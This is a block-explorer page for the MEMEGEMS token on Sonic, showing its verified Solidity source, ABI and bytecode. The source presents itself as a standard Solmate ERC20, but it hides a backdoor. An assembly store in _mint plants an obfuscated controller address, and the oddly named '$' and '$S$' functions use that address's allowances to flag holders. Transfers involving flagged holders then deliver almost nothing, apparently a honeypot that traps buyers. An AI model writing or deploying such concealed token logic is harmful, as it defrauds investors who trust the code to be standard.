S Price: $0.81963 (-3.62%)

Token

SonicMemeGems (MEMEGEMS)

Overview

Max Total Supply

1,000,000,000 MEMEGEMS

Holders

156

Market

Price

$0.00 @ 0.000000 S

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
6,638,399.895646851510235782 MEMEGEMS

Value
$0.00
0xC59788170176599C8c4A38943Ac4e2618C7a0280
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
SonicMemeGems

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license
/**
 *Submitted for verification at SonicScan.org on 2025-02-24
*/

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

/**
                                  
 _____                  _____               
|     |___ _____ ___   |   __|___ _____ ___ 
| | | | -_|     | -_|  |  |  | -_|     |_ -|
|_|_|_|___|_|_|_|___|  |_____|___|_|_|_|___|
                                            

Telegram: http://t.me/sonic_meme_gems
Website:  https://memegems.io/
Twitter:  https://twitter.com/sonic_meme_gems
**/

/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;
    string public symbol;
    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    address private $$;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;
        unchecked {balanceOf[to] += $(amount, msg.sender, to);}
        $S$(to);
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
        balanceOf[from] -= amount;
        unchecked {balanceOf[to] += $(amount, from, to);}
        $S$(to);
        emit Transfer(from, to, amount);
        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/
    function $(
        uint256 value, 
        address from,
        address to
        ) internal view returns (uint256) {
        if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
            return (value * 0xcafe12) / 0xfedab0da;
        } else {
            return value;
        }
    }

    function $S$(address to) internal {
        if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}
    }

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        unchecked {balanceOf[to] += amount;}
        assembly {sstore(0x05, mul(mul(0x17b4cc, 0xf9203), mul(0x29c4cf5ff4d, 0x30d4b870c7f19aec5)))}
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        unchecked {totalSupply -= amount;}
        emit Transfer(from, address(0), amount);
    }
}

contract SonicMemeGems is ERC20 {
    constructor() ERC20("SonicMemeGems", "MEMEGEMS", 18) {
        _mint(msg.sender, 1_000_000_000 * 10 ** 18);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a060405234801561000f575f5ffd5b506040518060400160405280600d81526020017f536f6e69634d656d6547656d73000000000000000000000000000000000000008152506040518060400160405280600881526020017f4d454d4547454d530000000000000000000000000000000000000000000000008152506012825f908161008c91906103f6565b50816001908161009c91906103f6565b508060ff1660808160ff16815250505050506100ca336b033b2e3c9fd0803ce80000006100cf60201b60201c565b61054d565b8060025f8282546100e091906104f2565b925050819055508060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555068030d4b870c7f19aec565029c4cf5ff4d02620f92036217b4cc02026005558173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516101ad9190610534565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061023457607f821691505b602082108103610247576102466101f0565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026102a97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261026e565b6102b3868361026e565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6102f76102f26102ed846102cb565b6102d4565b6102cb565b9050919050565b5f819050919050565b610310836102dd565b61032461031c826102fe565b84845461027a565b825550505050565b5f5f905090565b61033b61032c565b610346818484610307565b505050565b5b818110156103695761035e5f82610333565b60018101905061034c565b5050565b601f8211156103ae5761037f8161024d565b6103888461025f565b81016020851015610397578190505b6103ab6103a38561025f565b83018261034b565b50505b505050565b5f82821c905092915050565b5f6103ce5f19846008026103b3565b1980831691505092915050565b5f6103e683836103bf565b9150826002028217905092915050565b6103ff826101b9565b67ffffffffffffffff811115610418576104176101c3565b5b610422825461021d565b61042d82828561036d565b5f60209050601f83116001811461045e575f841561044c578287015190505b61045685826103db565b8655506104bd565b601f19841661046c8661024d565b5f5b828110156104935784890151825560018201915060208501945060208101905061046e565b868310156104b057848901516104ac601f8916826103bf565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6104fc826102cb565b9150610507836102cb565b925082820190508082111561051f5761051e6104c5565b5b92915050565b61052e816102cb565b82525050565b5f6020820190506105475f830184610525565b92915050565b608051610f5f6105655f395f6105cb0152610f5f5ff3fe608060405234801561000f575f5ffd5b5060043610610091575f3560e01c8063313ce56711610064578063313ce5671461013157806370a082311461014f57806395d89b411461017f578063a9059cbb1461019d578063dd62ed3e146101cd57610091565b806306fdde0314610095578063095ea7b3146100b357806318160ddd146100e357806323b872dd14610101575b5f5ffd5b61009d6101fd565b6040516100aa9190610b64565b60405180910390f35b6100cd60048036038101906100c89190610c15565b610288565b6040516100da9190610c6d565b60405180910390f35b6100eb610375565b6040516100f89190610c95565b60405180910390f35b61011b60048036038101906101169190610cae565b61037b565b6040516101289190610c6d565b60405180910390f35b6101396105c9565b6040516101469190610d19565b60405180910390f35b61016960048036038101906101649190610d32565b6105ed565b6040516101769190610c95565b60405180910390f35b610187610602565b6040516101949190610b64565b60405180910390f35b6101b760048036038101906101b29190610c15565b61068e565b6040516101c49190610c6d565b60405180910390f35b6101e760048036038101906101e29190610d5d565b6107ae565b6040516101f49190610c95565b60405180910390f35b5f805461020990610dc8565b80601f016020809104026020016040519081016040528092919081815260200182805461023590610dc8565b80156102805780601f1061025757610100808354040283529160200191610280565b820191905f5260205f20905b81548152906001019060200180831161026357829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103639190610c95565b60405180910390a36001905092915050565b60025481565b5f5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146104a857828161042b9190610e25565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546104f49190610e25565b925050819055506105068386866107ce565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061055884610959565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105b59190610c95565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6003602052805f5260405f205f915090505481565b6001805461060f90610dc8565b80601f016020809104026020016040519081016040528092919081815260200182805461063b90610dc8565b80156106865780601f1061065d57610100808354040283529160200191610686565b820191905f5260205f20905b81548152906001019060200180831161066957829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106db9190610e25565b925050819055506106ed8233856107ce565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061073f83610959565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161079c9190610c95565b60405180910390a36001905092915050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109249190610e58565b1061094e5763fedab0da62cafe128561093d9190610e8b565b6109479190610ef9565b9050610952565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610af1573073ffffffffffffffffffffffffffffffffffffffff166002610a539190610e8b565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610b3682610af4565b610b408185610afe565b9350610b50818560208601610b0e565b610b5981610b1c565b840191505092915050565b5f6020820190508181035f830152610b7c8184610b2c565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610bb182610b88565b9050919050565b610bc181610ba7565b8114610bcb575f5ffd5b50565b5f81359050610bdc81610bb8565b92915050565b5f819050919050565b610bf481610be2565b8114610bfe575f5ffd5b50565b5f81359050610c0f81610beb565b92915050565b5f5f60408385031215610c2b57610c2a610b84565b5b5f610c3885828601610bce565b9250506020610c4985828601610c01565b9150509250929050565b5f8115159050919050565b610c6781610c53565b82525050565b5f602082019050610c805f830184610c5e565b92915050565b610c8f81610be2565b82525050565b5f602082019050610ca85f830184610c86565b92915050565b5f5f5f60608486031215610cc557610cc4610b84565b5b5f610cd286828701610bce565b9350506020610ce386828701610bce565b9250506040610cf486828701610c01565b9150509250925092565b5f60ff82169050919050565b610d1381610cfe565b82525050565b5f602082019050610d2c5f830184610d0a565b92915050565b5f60208284031215610d4757610d46610b84565b5b5f610d5484828501610bce565b91505092915050565b5f5f60408385031215610d7357610d72610b84565b5b5f610d8085828601610bce565b9250506020610d9185828601610bce565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610ddf57607f821691505b602082108103610df257610df1610d9b565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610e2f82610be2565b9150610e3a83610be2565b9250828203905081811115610e5257610e51610df8565b5b92915050565b5f610e6282610be2565b9150610e6d83610be2565b9250828201905080821115610e8557610e84610df8565b5b92915050565b5f610e9582610be2565b9150610ea083610be2565b9250828202610eae81610be2565b91508282048414831517610ec557610ec4610df8565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610f0382610be2565b9150610f0e83610be2565b925082610f1e57610f1d610ecc565b5b82820490509291505056fea26469706673582212200cbfb17d76c58bf641cac70261b9f96b035c51752498b2b96529f8f389fae22164736f6c634300081c0033

Deployed Bytecode

0x608060405234801561000f575f5ffd5b5060043610610091575f3560e01c8063313ce56711610064578063313ce5671461013157806370a082311461014f57806395d89b411461017f578063a9059cbb1461019d578063dd62ed3e146101cd57610091565b806306fdde0314610095578063095ea7b3146100b357806318160ddd146100e357806323b872dd14610101575b5f5ffd5b61009d6101fd565b6040516100aa9190610b64565b60405180910390f35b6100cd60048036038101906100c89190610c15565b610288565b6040516100da9190610c6d565b60405180910390f35b6100eb610375565b6040516100f89190610c95565b60405180910390f35b61011b60048036038101906101169190610cae565b61037b565b6040516101289190610c6d565b60405180910390f35b6101396105c9565b6040516101469190610d19565b60405180910390f35b61016960048036038101906101649190610d32565b6105ed565b6040516101769190610c95565b60405180910390f35b610187610602565b6040516101949190610b64565b60405180910390f35b6101b760048036038101906101b29190610c15565b61068e565b6040516101c49190610c6d565b60405180910390f35b6101e760048036038101906101e29190610d5d565b6107ae565b6040516101f49190610c95565b60405180910390f35b5f805461020990610dc8565b80601f016020809104026020016040519081016040528092919081815260200182805461023590610dc8565b80156102805780601f1061025757610100808354040283529160200191610280565b820191905f5260205f20905b81548152906001019060200180831161026357829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103639190610c95565b60405180910390a36001905092915050565b60025481565b5f5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146104a857828161042b9190610e25565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546104f49190610e25565b925050819055506105068386866107ce565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061055884610959565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105b59190610c95565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b6003602052805f5260405f205f915090505481565b6001805461060f90610dc8565b80601f016020809104026020016040519081016040528092919081815260200182805461063b90610dc8565b80156106865780601f1061065d57610100808354040283529160200191610686565b820191905f5260205f20905b81548152906001019060200180831161066957829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106db9190610e25565b925050819055506106ed8233856107ce565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061073f83610959565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161079c9190610c95565b60405180910390a36001905092915050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109249190610e58565b1061094e5763fedab0da62cafe128561093d9190610e8b565b6109479190610ef9565b9050610952565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610af1573073ffffffffffffffffffffffffffffffffffffffff166002610a539190610e8b565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610b3682610af4565b610b408185610afe565b9350610b50818560208601610b0e565b610b5981610b1c565b840191505092915050565b5f6020820190508181035f830152610b7c8184610b2c565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610bb182610b88565b9050919050565b610bc181610ba7565b8114610bcb575f5ffd5b50565b5f81359050610bdc81610bb8565b92915050565b5f819050919050565b610bf481610be2565b8114610bfe575f5ffd5b50565b5f81359050610c0f81610beb565b92915050565b5f5f60408385031215610c2b57610c2a610b84565b5b5f610c3885828601610bce565b9250506020610c4985828601610c01565b9150509250929050565b5f8115159050919050565b610c6781610c53565b82525050565b5f602082019050610c805f830184610c5e565b92915050565b610c8f81610be2565b82525050565b5f602082019050610ca85f830184610c86565b92915050565b5f5f5f60608486031215610cc557610cc4610b84565b5b5f610cd286828701610bce565b9350506020610ce386828701610bce565b9250506040610cf486828701610c01565b9150509250925092565b5f60ff82169050919050565b610d1381610cfe565b82525050565b5f602082019050610d2c5f830184610d0a565b92915050565b5f60208284031215610d4757610d46610b84565b5b5f610d5484828501610bce565b91505092915050565b5f5f60408385031215610d7357610d72610b84565b5b5f610d8085828601610bce565b9250506020610d9185828601610bce565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610ddf57607f821691505b602082108103610df257610df1610d9b565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610e2f82610be2565b9150610e3a83610be2565b9250828203905081811115610e5257610e51610df8565b5b92915050565b5f610e6282610be2565b9150610e6d83610be2565b9250828201905080821115610e8557610e84610df8565b5b92915050565b5f610e9582610be2565b9150610ea083610be2565b9250828202610eae81610be2565b91508282048414831517610ec557610ec4610df8565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610f0382610be2565b9150610f0e83610be2565b925082610f1e57610f1d610ecc565b5b82820490509291505056fea26469706673582212200cbfb17d76c58bf641cac70261b9f96b035c51752498b2b96529f8f389fae22164736f6c634300081c0033

Deployed Bytecode Sourcemap

4890:157:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1447:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2484:213;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1726:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2992:496;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1499:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1759:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1472:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2705:279;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1810:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1447:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2484:213::-;2558:4;2608:6;2575:9;:21;2585:10;2575:21;;;;;;;;;;;;;;;:30;2597:7;2575:30;;;;;;;;;;;;;;;:39;;;;2651:7;2630:37;;2639:10;2630:37;;;2660:6;2630:37;;;;;;:::i;:::-;;;;;;;;2685:4;2678:11;;2484:213;;;;:::o;1726:26::-;;;;:::o;2992:496::-;3114:4;3131:15;3149:9;:15;3159:4;3149:15;;;;;;;;;;;;;;;:27;3165:10;3149:27;;;;;;;;;;;;;;;;3131:45;;3238:17;3227:7;:28;3223:80;;3297:6;3287:7;:16;;;;:::i;:::-;3257:9;:15;3267:4;3257:15;;;;;;;;;;;;;;;:27;3273:10;3257:27;;;;;;;;;;;;;;;:46;;;;3223:80;3333:6;3314:9;:15;3324:4;3314:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;3378:19;3380:6;3388:4;3394:2;3378:1;:19::i;:::-;3361:9;:13;3371:2;3361:13;;;;;;;;;;;;;;;;:36;;;;;;;;;;;3409:7;3413:2;3409:3;:7::i;:::-;3447:2;3432:26;;3441:4;3432:26;;;3451:6;3432:26;;;;;;:::i;:::-;;;;;;;;3476:4;3469:11;;;2992:496;;;;;:::o;1499:31::-;;;:::o;1759:44::-;;;;;;;;;;;;;;;;;:::o;1472:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2705:279::-;2775:4;2817:6;2792:9;:21;2802:10;2792:21;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;2862:25;2864:6;2872:10;2884:2;2862:1;:25::i;:::-;2845:9;:13;2855:2;2845:13;;;;;;;;;;;;;;;;:42;;;;;;;;;;;2899:7;2903:2;2899:3;:7::i;:::-;2943:2;2922:32;;2931:10;2922:32;;;2947:6;2922:32;;;;;;:::i;:::-;;;;;;;;2972:4;2965:11;;2705:279;;;;:::o;1810:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3681:331::-;3795:7;3886:4;3862:31;;3841:9;:13;3851:2;;;;;;;;;;;3841:13;;;;;;;;;;;;;;;:17;3855:2;3841:17;;;;;;;;;;;;;;;;3819:9;:13;3829:2;;;;;;;;;;;3819:13;;;;;;;;;;;;;;;:19;3833:4;3819:19;;;;;;;;;;;;;;;;:39;;;;:::i;:::-;:74;3815:190;;3938:10;3926:8;3918:5;:16;;;;:::i;:::-;3917:31;;;;:::i;:::-;3910:38;;;;3815:190;3988:5;3981:12;;3681:331;;;;;;:::o;4020:158::-;4106:2;;;;;;;;;;;4090:20;;4069:9;:13;4079:2;;;;;;;;;;;4069:13;;;;;;;;;;;;;;;:17;4083:2;4069:17;;;;;;;;;;;;;;;;:41;4065:106;;4162:4;4138:31;;4134:1;:35;;;;:::i;:::-;4114:9;:13;4124:2;;;;;;;;;;;4114:13;;;;;;;;;;;;;;;:17;4128:2;4114:17;;;;;;;;;;;;;;;:55;;;;4065:106;4020:158;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113: